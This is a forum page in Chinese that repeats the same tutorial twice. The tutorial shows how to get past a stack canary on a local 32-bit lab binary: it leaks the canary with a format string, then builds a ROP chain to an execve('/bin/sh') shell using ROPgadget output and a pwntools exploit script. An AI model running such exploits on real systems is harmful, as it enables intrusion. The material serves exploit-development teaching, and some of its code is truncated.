构造带有堆栈保护的指令流 财富值6

2021-01-14 19:16发布

2条回答
seo论坛
1楼 · 2021-01-14 20:18.采纳回答
zhaorong 于 2020-5-27 11:51 编辑

0×01 引言

我们在学ropgadgets与ret2syscall技术原理时 构造指令流时 是没有加堆栈保护的 比如下面的程序:

文件名:7.c
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <sys/types.h>
  4. #include <unistd.h>
  5. #include <sys/syscall.h>
  6. void exploit()
  7. {
  8.     system("/bin/sh");
  9. }
  10. void func(){
复制代码

我们是这样编译的 是没有加堆栈保护的 之后再利用ropgadgets构造指令流 就可以
成功去执行execve(“/bin/sh”,null,null)。
  1. gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c
复制代码

如果加上堆栈保护我们该怎么过呢?像下面这样编译:
  1. gcc -no-pie -fstack-protector -static -m32 -o 7.exe 7.c
复制代码

显然我们就不能像原来一样构造指令流了 因为加入了堆栈保护 那我们该怎么办呢?我们可以利用格式化输出
将canary打印出来 然后再进行指令的组装。

0×02 找地址

调试我们的程序 找到canary的地址 地址在:0xffffcfac


继续调试 直到printf 我们看看现在canary据栈顶的位置:0060 除以4等于15 说明传给第一个read
函数的值为%15$08x 就可以将canary打印出来了

重新调试 找到read函数把读进来的数据存放的地址:0xffffcf8c


将%15$08x给read函数 发现可以将canary打印出来


接下来就是利用好第二个read函数来构造rop链了

0×03 构造rop链

linux上系统调用原理:
eax 系统调用号
ebx 第一个参数
ecx 第二个参数
edx 第三个参数
esi 第四个参数
edi 第五个参数
int 0×80

所以eax就存放execve函数的系统调用号11 ebx存放第一个参数/bin/sh ecx存放第二个
参数null 就是0 edx存放第三个参数 也是0
  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
复制代码

地址用:0x080b8546

  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
复制代码

地址为:0x0806f210


  1. ROPgadget --binary ./7.exe --string "/bin/sh"
复制代码

地址用:0x080bbd80


  1. ROPgadget --binary ./7.exe --only "int"|grep "0x80"
复制代码

地址为:0x0806ce37


0×04 写出poc
  1. from pwn import *
  2. context(arch="i386",os="linux")
  3. p=process(./7.exe)
  4. p.sendline("%15$08x")
  5. canary=p.recv()[:8]
  6. print(canary)
  7. canary=canary.decode("hex")[::-1]        
  8. coffset=4*8                                                        
  9. roffset=3*4                                       
  10. add_eax=p32(0x080b8546)
  11. value_eax=p32(0xb)
  12. add_edx_ecx_ebx=p32(0x0806f210)
  13. value_ebx=p32(0x080bbd80)
  14. value_ecx=p32(0)
  15. value_edx=p32(0)
  16. add_int=p32(0x0806ce37)
  17. payload=coffset*a+canary+roffset*a+add_eax+value_eax+add_edx_ecx_
  18. ebx+value_edx+value_ecx+value_ebx+add_int
  19. p.sendline(payload)
  20. p.interactive()
复制代码

从from pwn import *到canary=canary.decode(“hex”)[::-1]都是为了找出canary 因为加了堆栈保护
我们不能直接把数据打入到堆栈中所以要先找出canary,然后构造payload,我们要把canary加进去过
堆栈保护再在后面加上我们的rop链。
执行成功


0×05 总结

开启了堆栈保护 加入了cookie 一旦我们破坏了堆栈 会引起系统保护 出现异常 但是我们还是需要构造我们的指令流
我们可以利用格式化输出,将canary打印出来,接下来我们可以利用读写函数,构造一个指令流,我们先去读看一
下堆栈的canary在哪里,然后我们canary搞出来,把canary再回填进去,进行组装,这样就即可以过堆栈保护
也可以构造我们的指令流了。

seo3
2楼-- · 2021-01-14 20:16
zhaorong 于 2020-5-27 11:51 编辑

0×01 引言

我们在学ropgadgets与ret2syscall技术原理时 构造指令流时 是没有加堆栈保护的 比如下面的程序:

文件名:7.c
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <sys/types.h>
  4. #include <unistd.h>
  5. #include <sys/syscall.h>
  6. void exploit()
  7. {
  8.     system("/bin/sh");
  9. }
  10. void func(){
复制代码

我们是这样编译的 是没有加堆栈保护的 之后再利用ropgadgets构造指令流 就可以
成功去执行execve(“/bin/sh”,null,null)。
  1. gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c
复制代码

如果加上堆栈保护我们该怎么过呢?像下面这样编译:
  1. gcc -no-pie -fstack-protector -static -m32 -o 7.exe 7.c
复制代码

显然我们就不能像原来一样构造指令流了 因为加入了堆栈保护 那我们该怎么办呢?我们可以利用格式化输出
将canary打印出来 然后再进行指令的组装。

0×02 找地址

调试我们的程序 找到canary的地址 地址在:0xffffcfac


继续调试 直到printf 我们看看现在canary据栈顶的位置:0060 除以4等于15 说明传给第一个read
函数的值为%15$08x 就可以将canary打印出来了

重新调试 找到read函数把读进来的数据存放的地址:0xffffcf8c


将%15$08x给read函数 发现可以将canary打印出来


接下来就是利用好第二个read函数来构造rop链了

0×03 构造rop链

linux上系统调用原理:
eax 系统调用号
ebx 第一个参数
ecx 第二个参数
edx 第三个参数
esi 第四个参数
edi 第五个参数
int 0×80

所以eax就存放execve函数的系统调用号11 ebx存放第一个参数/bin/sh ecx存放第二个
参数null 就是0 edx存放第三个参数 也是0
  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
复制代码

地址用:0x080b8546

  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
复制代码

地址为:0x0806f210


  1. ROPgadget --binary ./7.exe --string "/bin/sh"
复制代码

地址用:0x080bbd80


  1. ROPgadget --binary ./7.exe --only "int"|grep "0x80"
复制代码

地址为:0x0806ce37


0×04 写出poc
  1. from pwn import *
  2. context(arch="i386",os="linux")
  3. p=process(./7.exe)
  4. p.sendline("%15$08x")
  5. canary=p.recv()[:8]
  6. print(canary)
  7. canary=canary.decode("hex")[::-1]        
  8. coffset=4*8                                                        
  9. roffset=3*4                                       
  10. add_eax=p32(0x080b8546)
  11. value_eax=p32(0xb)
  12. add_edx_ecx_ebx=p32(0x0806f210)
  13. value_ebx=p32(0x080bbd80)
  14. value_ecx=p32(0)
  15. value_edx=p32(0)
  16. add_int=p32(0x0806ce37)
  17. payload=coffset*a+canary+roffset*a+add_eax+value_eax+add_edx_ecx_
  18. ebx+value_edx+value_ecx+value_ebx+add_int
  19. p.sendline(payload)
  20. p.interactive()
复制代码

从from pwn import *到canary=canary.decode(“hex”)[::-1]都是为了找出canary 因为加了堆栈保护
我们不能直接把数据打入到堆栈中所以要先找出canary,然后构造payload,我们要把canary加进去过
堆栈保护再在后面加上我们的rop链。
执行成功


0×05 总结

开启了堆栈保护 加入了cookie 一旦我们破坏了堆栈 会引起系统保护 出现异常 但是我们还是需要构造我们的指令流
我们可以利用格式化输出,将canary打印出来,接下来我们可以利用读写函数,构造一个指令流,我们先去读看一
下堆栈的canary在哪里,然后我们canary搞出来,把canary再回填进去,进行组装,这样就即可以过堆栈保护
也可以构造我们的指令流了。

相关问答